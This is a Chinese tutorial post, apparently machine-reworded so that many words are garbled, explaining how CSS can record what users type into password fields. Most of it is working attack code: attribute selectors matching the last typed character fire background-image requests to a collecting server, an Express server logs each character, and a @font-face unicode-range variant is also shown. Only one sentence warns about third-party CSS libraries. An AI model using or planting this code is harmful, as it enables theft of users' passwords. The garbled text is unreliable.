如何用CSS设定记载会员密码-

这次给大家带来如何用CSS设定记载会员密码，用CSS设定记载会员密码的注意事项是什么，下面就是实战案例，一起来看一下。 这次给大家带来如何用CSS设定记载会员密码，用CSS设定记载会员密码的注意事项是什么，下面就是实战案例，一起来看一下。

简略的CSS代码，甚至不相符图灵完整的说话，但是也能成为一些袭击者的工具，下面简略介绍一下怎样运用CSS去记载会员的密码。但是这些CSS足本会涌现在第三方CSS库中，所以运用第三方CSS库也需要谨慎，确保代码平安。直接上代码解析：

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}
input[type="password"][value$="1"] { 
    background-image: url("http://localhost:3000/1"); 
}
input[type="password"][value$="2"] { 
    background-image: url("http://localhost:3000/2"); 
}

以上是局部代码,我们来解析一下CSS代码

input[type="password"]是css选中器，作用是选中密码输入框， [value$="0"]表示匹配输入的值是以0结尾的。所以：

input[type="password"][value$="0"] { 
    background-image: url("http://localhost:3000/0"); 
}

上面代码的意思就是要是你在密码框中输入0，就去要求http://localhost:3000/0接口，但是阅读器默许状况下是不会将会员输入的值存储在value属性中，但是有的框架会同步这些值，例如React。

所以只有运用了如下图的足本就能去存储会员的输入数据信息。

我们再来看一下办事器端的代码：

const express = require("express");
const app = express();
app.get("/:key", (req, res) => {
   process.stdout.write(req.params.key);
   return res.sendStatus(400);
});
app.listen(3000, () => console.log("启动，监听3000端口"));

运用express新建办事器，监听3000端口，只有要求http://localhost:3000/:key，就能输出key的值，就能在办事器上记载输入的值。所以只有在每输入一个值都匹配，然后通过 background-image 去要求一个已经预备好的接口，就能记载会员的输入。相似的办法记载会员的内容的CSS代码@font-face {

   font-family: blah;  
   src: url('http://localhost:3000/a') format('woff');  
   unicode-range: U+85;
}
html {  
   font-family: blah, sans-serif;
}

信赖看了本案牍例你已经把握了办法，更多出色请关注 百分百源码网 其它相干文章！

举荐浏览：

h5实现多图片预览上传及点击可拖拽控件

S5让分层屏幕适配

以上就是如何用CSS设定记载会员密码的细致内容，更多请关注 百分百源码网 其它相干文章！